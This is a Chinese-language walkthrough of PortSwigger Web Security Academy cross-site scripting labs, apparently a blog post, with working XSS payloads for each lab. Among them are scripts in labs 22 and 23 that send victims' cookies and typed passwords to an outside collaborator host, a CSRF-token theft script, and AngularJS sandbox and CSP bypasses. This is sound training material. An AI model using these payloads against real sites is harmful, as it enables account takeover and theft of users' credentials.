portswigger 靶场(第二章节)XSS
视频同步更新至bilibili
bibi地址
欢迎关注微信公众号:微光安全团队
这是官方备忘录:
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
总体目录
我这里简单总结一下每个实验室所对应的技术栈
 可能有漏的,见谅
3、涉及实验:
        实验1:将XSS反射到HTML上下文中,不进行任何编码
4、反射的XSS攻击的影响
        实验14:利用跨站点脚本窃取Cookie
        实验15:利用跨站点脚本来捕获密码
        实验16:利用XSS实现CSRF
三、不同上下文中的反射XSS
1、简述:
2、HTML标记之间的XSS
        实验2:将XSS存储到HTML上下文中,不进行任何编码
        实验17:将XSS反射到HTML上下文中,大多数标记和属性被阻止
        实验18:将XSS反射到HTML上下文中,除自定义标记外,所有标记都被阻止
        实验25:具有事件处理程序和 href 已阻止属性
        实验19:允许使用一些SVG标记的反射XSS
3、HTML标记属性中的XSS
        实验7:将XSS反射到带尖括号的HTML编码属性中
        实验8:将XSS存储到锚中 href 带双引号的属性HTML编码
        实验20:规范链接标记中反射的XSS
4、终止现有脚本
        实验21:将XSS反射到JavaScript字符串中,并使用单引号和反斜杠进行转义
        实验9:将XSS反射到带有尖括号的JavaScript字符串HTML编码
        实验22:将XSS反射到JavaScript字符串中,使用尖括号和双引号HTML编码并转义单引号
        实验26:JavaScript URL中反射的XSS,其中一些字符被阻止
        实验23:将XSS存储到onclick事件中,使用尖括号和双引号HTML编码,使用单引号和反斜杠转义
        实验24:将XSS反射到模板文本中,带有尖括号、单引号、双引号、反斜杠和反记号
四、客户端模板注入
1、简述:
 2、AngularJS沙盒
        实验27:反射的XSS,带AngularJS沙箱转义,不带字符串
 3、AngularJS CSP旁路
         实验28:反射XSS与AngularJS沙箱转义和CSP
lab1:

 将以下内容复制并粘贴到搜索框中:
 <script>alert(1)</script>
即可
 
lab2

 同上
  这次需要把xss内容放在评论,这样就可以造成一个存储型xss
这次需要把xss内容放在评论,这样就可以造成一个存储型xss
<script>alert(1)</script>
lab3

漏洞成因
query参数可控,闭合img标签
在输入1111后,我的输入值出现在了url中,我将尝试一个基础的xss payload

  所以我打开了页面源码
所以我打开了页面源码
  发现我的payload被编码了
发现我的payload被编码了
 所以我这个时候应该想两个方式,如何绕过编码
 我继续向下看,html中出现的函数引起了我的注意
 他告诉我我输入的search内容被进入了一个变量叫做query,而后这个query进入了一个函数叫做tracksearch,这个函数的功能是通过document.write写入一个img标签
我接着使用f12查找了这个img src

 所以这就是payload
"><script>alert(1)</script>
解决
 简单看一下怎么闭合的
原本的
<img src="/resources/images/tracker.gif?searchTerms=11111" >
注入的内容
"><script>alert(1)</script>
结果
<img src="/resources/images/tracker.gif?searchTerms="><script>alert(1)</script>" >
这个就是原理,所以后面就不演示是怎么闭合的了
lab4
漏洞成因:searchMessage的直接传递
 

 这个靶场使用一个 innerHTML赋值
 
按照官方的解释
这 innerHTML接收器不接受 script任何现代浏览器上的元素,也不会 svg onload事件火。
这意味着您将需要使用替代元素,例如 img或者 iframe。 事件处理程序,例如 onload和 onerror可以与这些元素结合使用。
翻译的什么乱七八糟的·····
 简单来说就是用了innerHTML可以通过onload和 onerror来利用
而onerror很好用,只需要用一个不存在的标签包含,在进行的时候就可以释放出里面的onerror达到xss
payload
<img src=1 onerror=alert(1)>
并且每当你刷新或者别人点进来,都会造成一次xss
 
lab5

漏洞成因: returnpath可控 导致herf标签被注入
这种漏洞在官方的解释如下
 如果正在使用 jQuery 等 JavaScript 库,请留意可以更改页面上 DOM 元素的接收器。 例如,jQuery 的 attr()函数可以改变DOM元素的属性。 如果数据是从用户控制的源(例如 URL)读取的,然后传递给 attr()函数,那么就有可能操纵发送的值导致 XSS。 例如,这里有一些 JavaScript 可以更改锚元素的 href使用 URL 中的数据的属性:
 他们问题出在了反馈界面
 
 在我们提交了反馈之后
 观察url
https://0a2a000404ef1e26814253c300c40025.web-security-academy.net/feedback?returnPath=/post/comment/confirmation
我顺着这个参数找到了函数
  内部还有一个类似于子函数的内容
内部还有一个类似于子函数的内容
 backLink
 顺着继续找
 
 看来我的url可以控制着一部分
 那我就改一下url
 按照题目要求,使用
javascript:alert(document.cookie)
而后点击后退按钮

lab6

漏洞原理: jquery选择器内可以插入标签
这个漏洞基于jQuery 中的 DOM XSS:hashchange 事件
 var post=$()这行是用jquery选择对应的元素,可以定位到多个元素
所以下面一行post.get(0)是指符合条件的第一个元素
如果元素存在则执行post.get(0).scrollIntoView();
 
 而scrollintoview
 这个的功能就是跳到你的输入点
 如下
 我们手动将页面划到最下面
我们手动将页面划到最下面
 看到一个volunteering
 而后我们在url的最后面输入/#Volunteering
  就会发现页面自动滚动到了那么标签所在的位置
就会发现页面自动滚动到了那么标签所在的位置
选择器经常与 location.hash或自动滚动到页面上特定元素的源。 这种行为通常是使用易受攻击的漏洞来实现的 hashchange事件处理程序,例如
$(window).on('hashchange', function() {
	var element = $(location.hash);
	element[0].scrollIntoView();
});
最新版本的 jQuery 通过防止在输入以哈希字符开头时将 HTML 注入选择器来修补此特定漏洞( #).
要利用此漏洞,攻击者必须找到一种方法来触发 hashchange无需用户交互的事件,例如iframe.
根据题目的提示
 我找到了相关的函数
 
$(window).on('hashchange', function(){
	var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
	if (post) post.get(0).scrollIntoView();
});
这一段代码的含义是
此代码将事件侦听器附加到“window”对象上的“hashchange”事件,该事件侦听器在 URL 的哈希片段(URL中“#”符号之后的部分)更改时触发。当事件被触发时,代码创建一个变量“post”,该变量选择“section”元素中的第一个标题(h2)元素,其类“blog-list”包含当前哈希片段的文本(使用“decodeURIComponent”函数解码)。如果“post”变量不为空,则代码使用“scrollIntoView”方法将选定的标题元素滚动到视图中。
为了利用该漏洞,让我们在#后放置一个 XSS 有效负载 <img src=x onerror=alert(1)>在 URL 中,
这应该会触发一个警报,因为 jquery 选择器 $()将首先尝试选择(查找)页面上的项目,当失败时(本例中该字符串不存在),它将添加该元素。
我们需要向管理员发送一个 URL 来触发 print()功能,但没有迹象表明管理员会单击我们提供的任何链接。 因此,我们可以使用 iFrame 自动呈现我们选择的 URL。
在下面的示例中, src属性指向具有空哈希值的易受攻击页面。 当 iframe加载后,XSS 向量会附加到哈希中,从而导致 hashchange触发事件
<iframe src="https://xxxxxx/#" onload="this.src+='<img src=x οnerrοr=print()>'"></iframe>

<iframe src="https://0a0e0001030a35cc834c2df0001500b6.web-security-academy.net/#" onload="this.src+='<img src=x οnerrοr=print()>'"></iframe>
lab7

 首先我们尝试一个基础的xss
"><script>alert(hahahaha)</script>

 发现<>都被过滤了
 于是我尝试了对他们进行url编码
 但依旧无效
 所以我选择利用事件触发,之前也有类似的例如onerror
 类似的还有onclick等等
 这里我们利用
"οnmοuseοver="alert(1)
并且一个双引号闭合掉
 于是只要我们吧鼠标移动到输入框,就可以触发xss
于是只要我们吧鼠标移动到输入框,就可以触发xss
lab8

漏洞成因: herf标签被注入
我们进入实验室
 进入评论区
 
 先随便输入点什么
 看看都会怎么运转
 
 我发现有一个超链接
 他的herf属性指向我输入的website,并且看起来没有什么过滤
 那我尝试一下
那我尝试一下
javascript:alert(1)

 然后就成功了
lab9

 我们同样输入一个特征字符串
 然后跟踪他,看看他经历了什么
 我输入了hahaha
 并且在f12跟踪到了这个js函数部分
  我们看到我们的输入在一个js脚本中
我们看到我们的输入在一个js脚本中
 对于这种情况,我们可以采用闭合js标签来进行一个新的属性
 例如:
</script><img src=1 onerror=alert(1)>
但是在本题中
 我们的输入被‘’包裹
 而又因为 JavaScript 不允许变量中存在空格,因此整个字符串将被视为变量的一部分
 所以我们采用如下的方法
'-alert(document.domain)-'
';alert(document.domain)//
其中-或者;都表明 alert与它之前的字符串文字标记有关。 -可以做到这一点,任何其他运算符也可以,例如 +, %, 等等。 您还需要连接的末端 alert与恢复的字符串文字,因此最后需要另一个运算符
所以,当我们输入payload之后
'-alert(1)-'
我们完成了挑战
lab10
 这是之前完成的document.write接收器的domxss的进阶版
这是之前完成的document.write接收器的domxss的进阶版

 我们看到参数的传递,所以我们搜索这个参数
 
 我找到了他,可我并没有在js代码中看到他
 于是我仔细观察了js代码
 并发现了有趣的东西
    var stores = ["London","Paris","Milan"];
                                var store = (new URLSearchParams(window.location.search)).get('storeId');
                                document.write('<select name="storeId">');
                                if(store) {
                                    document.write('<option selected>'+store+'</option>');
                                }
                                for(var i=0;i<stores.length;i++) {
                                    if(stores[i] === store) {
                                        continue;
                                    }
                                    document.write('<option>'+stores[i]+'</option>');
                                }
                                document.write('</select>');
                            
根据这个js代码,我发现还存在一个storeid的参数
 他可以被写入option标签
 并且会赋予一个storesid
 便于查询
 所以我们只需要在url中添加这个参数,就可以拥有一个可控的js参数
?productId=2&storeId=test

 发生的事情都如我们预期
 接下来我就要尝试闭合这个option标签,而后进行注入
?productId=1&storeId=</option><script>alert('xss')</script>//

 解决
 并且观察源码
 
lab11
 同样先输入一个随机字符
同样先输入一个随机字符
 

 但是我们的输入并没有进入函数
 可是我们也看见了ng-app
 这代表着
当指令添加到 HTML 代码中时,您可以执行双花括号内的 JavaScript 表达式。 当对尖括号进行编码时,此技术非常有用。
那么我们进行利用
{{alert('haha')}}
但是失败
 所以使用如下payload
{{$on.constructor('alert(1)')()}}
$on.constructor=constructor.constructor,基本上它的解释与函数相同,就好像我们声明了一个函数,然后在其中放置了将要执行的代码,因为这里是完全相同的,在括号内,我们放置了我们想要执行的内容
 他的效果就是我先constructor了一个方法然后再去调用它,来绕过一些检测
lab12

漏洞成因:eval让alert执行
我们这里把它用bp来处理 首先我们简单闭合一下
首先我们简单闭合一下
  显示多出来了一个反斜杠
显示多出来了一个反斜杠
 也就是转义符,我们只需要再加一个\就能抵消掉
 所以最终的payload如下
\"-alert(1)}//
lab13

我们先随便填一下评论
 发现显示什么的都正常
 所以我开始看js文件
  发现存在一个replace函数
发现存在一个replace函数
为了防止 XSS ,该网站使用了 JavaScript replace()对尖括号进行编码的函数。 但是,当第一个参数是字符串时,该函数仅替换第一次出现的位置。
所以我多增加一对尖括号
<><img src=1 onerror=alert(1)>
即可
lab14

 这一关我们需要使用到bp
 以及备忘录
 首先我们把传参的数据包发给intruder并在如图所示位置添加payload部分
 
 而后来到备忘录
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
 我们来到备忘录以后
我们来到备忘录以后
 首先复制全部的标签,测试哪一个标签在waf之外
 而后在bp intruder中的payload中粘贴

 而后开始攻击
  发现body是200,所以我们继续构造事件
发现body是200,所以我们继续构造事件
<body%20=1>
在空格前添加变量测试点
 
再把备忘录中的事件全部粘贴过来
 
 发现了这么多的可利用事件
 我们就按照onresize去利用
 
 备忘录中有无需用户交互的payload
<body onresize="print()">
那就利用这个
 因为题目中说了本地无法完成
所以我们先去利用服务器
 
加入一个iframe标签
<iframe src="https://0afb005304132185821c3d1c00320095.web-security-academy.net/?search=%3Cbody+onresize%3D%22print%28%29%22%3E"onload=this.style.width='100px'>
onload是用来调整窗口大小的
  因为这个事件在调整窗口大小的时候触发
因为这个事件在调整窗口大小的时候触发
lab15----
 这个lab阻止除自定义标签之外的所有 HTML 标签。
这个lab阻止除自定义标签之外的所有 HTML 标签。
当然他没有阻止完
 你可以尝试按照上一个靶场去利用
 但是我们按照lab的技术栈继续完成
你只需要在漏洞利用服务器中body部分输入如下的payload即可
<script>
location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>
我可以稍微解释一下
 < 这部分 xss 代码创建一个名为“xss”的自定义标签。
id=x 自定义的 <xss>标记中。 通过将名为“x”的 id 属性添加到
onfocus=alert(document.cookie) 来指定的 HTML 元素。
使得在获得焦点时执行 JavaScript 代码的事件属性中。
 网页会自动聚焦在url中有#选择元素里tabindex最小的一个元素
这次自定义的 xss 标签 被 id=x分配
当使用 Tab 键,ID 为 x 的 html 元素将获得焦点。 从而完成一次xss攻击
#x是为了 页面加载时自动触发有效负载
lab16
 与之前一样,利用bp以及清单去找哪些没有被过滤
与之前一样,利用bp以及清单去找哪些没有被过滤
 关于svg,可以参考这篇文章
https://developer.mozilla.org/en-US/docs/Web/SVG/Element/svg
最终的payload如下
%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E
这里说一下为什么要用animateTransform标签
上面可以看到可以用的事件只有onbegin,而svg标签是没有这个事件的
animateTransform是有onbegin事件的
lab17
这个先跳过
 我不用谷歌,好像测试不了
lab18

 首先输入特征字符串
  而后我在前端找到了他们
而后我在前端找到了他们
 这说明我输入的字符被前段js脚本处理
 所以我先尝试直接关掉js
</script><script>alert(1)</script>

 然后就ok了?
lab19

 同样先输入一个特征字符串
 
 那就说明我也在js中处理我输入的信息
 那我的首选就是闭合掉js代码或者闭合引号
 
 但是仔细一看,发现我在引号包裹了,那么就只能用之前的方法
 先让引号闭合
 然后直接alert就行
 我现在在bp中进行观察
  对引号进行了转义
对引号进行了转义
 最终的payload
\'-alert(1)//
lab20
 这是一个存储型
这是一个存储型
 首先我们也是输入一些特征字符
 并且题目中也有提示
 尖括号和双引号的事件 HTML 编码且单引号和反斜杠转义
 所以我们要考虑一些基础的绕过
  首先我们发现它具有onclick的属性
首先我们发现它具有onclick的属性
 那么我们的目标就是
 把我们的url解放出来,成为一个单独的个体
 我们需要闭合前后各一个单引号
 直接输入失败了
 尝试了urlencode
 但是失败了
 hex
 也失败了
 最后发现'也就是单引号的html表达式
 可以正常运行
http://'-alert(1)-'
所以这就是最终的payload
 还有一些其他的html符号表达式子如下
HTML的转义符
"     "
‘     '
&    &
<    < 
>    >
空格   
©    ©
lab21
 同样先输入特征字符串
同样先输入特征字符串
 
 我接下来尝试一个多钟符号组成的字符串,看看他的转义
<>'“\ 
 看到了反引号,这是一个输出模版
看到了反引号,这是一个输出模版
 所以我们,可以直接用
${alert(1)}
来告诉他
 这是一个脚本需要运行
 就ok了
lab22
 这算是一个比较常见的利用了
这算是一个比较常见的利用了
 一般来说通过xss来获取到cookie,然后恶意服务端会有一些自动执行的脚本
 来利用这个cookie去进行一些操作,例如尝试登陆等等
首先我输入
<img src=0 onerror=print()> 
在评论区,他可以正常运行
 那么我就开始构造我的窃取xss
<script>
fetch('https://o1qceoykax1i47hwxxw3u2tuoluci26r.oastify.com', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

于是我们就拿到了cookie
lab23

 也很贴近实战
 道理都一样
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://jk73al66zbtlj5x87xdhlovssjyam6av.oastify.com',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
lab24
 我们进去之后先登录一下
我们进去之后先登录一下
  可以看到更新邮件地址需要像这个url发送一点东西
可以看到更新邮件地址需要像这个url发送一点东西
 
 并且还需要一个csrf的token
  那我们的目的就明确了
那我们的目的就明确了
 窃取token并且发送给这个url
跟刚才的窃取一样
 只不过多了个发送的过程
当然了,对于csrf的窃取也不只有这一种方法
 大概有两种方法
 1.利用js代码,获取受害者主机上面的token(在受害者主机发起请求)
2.在自己电脑上替换cookie,提取自己主机上面的token(在自己主机发起请求)
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
也是在评论区
lab25
 这是个angular的沙箱逃逸
这是个angular的沙箱逃逸
 直接fuzzpayload
 原理太复杂
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-sandbox-escapes-reflected
payload
1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
lab26

 简单理解就是CSP只会加载自己信任的资源,不信任的统统拦截
该漏洞利用了 ng-focusAngularJS 中的事件来创建绕过 CSP 的焦点事件。 它还使用 $event,这是一个引用事件对象的AngularJS 变量。 这 path属性特定于Chrome,包含触发事件的元素数组。 数组中的最后一个元素包含 window目的。通常情况下, |在 JavaScript 中是按位或运算,但在 AngularJS 中它表示过滤操作,在本例中是orderBy筛选。冒号表示正在发送到过滤器的参数。 在论证中,而不是调用 alert直接函数,我们将其分配给变量 z。 该函数仅在以下情况下才会被调用orderBy操作达到 window对象在 $event.path大批。 这意味着它可以在窗口范围内调用,而无需显式引用window对象,有效绕过 AngularJS window查看。
也可以直接找
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-sandbox-escapes-reflected
lab27
 禁用了所有事件以及href
禁用了所有事件以及href
那就想个办法代替href
 也是这个靶场的知识点
attributename可以把href="xxx"分解成attributename=href values=xxx
我们搜索一下这个属性
 
<svg><a><animate attributeName="href" values="javascript:alert(1)"></animate><text x="20" y="20">Click me</text></a></svg>
lab28
 漏洞成因
漏洞成因
首先随便输入,然后顺着传递的参数跟到了这一块的实现代码

<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d3'}).finally(_ => window.location = '/')">Back to Blog</a>
先试试单引号能不能闭合
  而后拿着一堆符号fuzz一下
而后拿着一堆符号fuzz一下
 fuzz的结果就是只要是&开头就合法,而后尝试&'能不能闭合单引号
 发现可以
 那就看一下能不能闭合{
 发现也可以
 那屁股后面的花括号也可以闭合了
那就接着测试加入一个alert(1)
&'},alert(1),{x:'
结果发现空格被过滤
 
我原本的预期是下面这样的
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d3&'},alert(1),{x:''}).finally(_ => window.location = '/')">Back to Blog</a>
这个时候看一下答案的payload
&'},x=x=>{throw/**/οnerrοr=alert,1337}, toString=x,window+'',{x:'
分析一下
&'},闭合前面的{
x=x=>{throw/**/onerror=alert,1337}, 定义一个箭头函数,/**/是注释,绕过空格过滤,throw是抛出异常,alert函数重载onerror函数,抛出异常的时候会自动调用onerror函数,其实是调用的alert,所以后续的逻辑就是造成错误,这一步最关键的点是
由于没有变量声明, x将是一个隐含的全局变量
toString=x,用箭头函数重载toString函数,这也修改了,正因为x是一个全局变量,所以tostring是一个全局方法,所以这一步他会改变window的方法,从而导致window向字符串转化的时候就会调用x,也就是抛出异常的onerroe也就是alert
window+'',用window+字符串,而js认为字符串才能加字符串,所以window被强制转换成字符串,自动会调用window的toString函数
{x:'闭合后面的'},
这整个payload核心我认为是window+
能理解就理解吧,理解不了知道有这么一种方法就行

















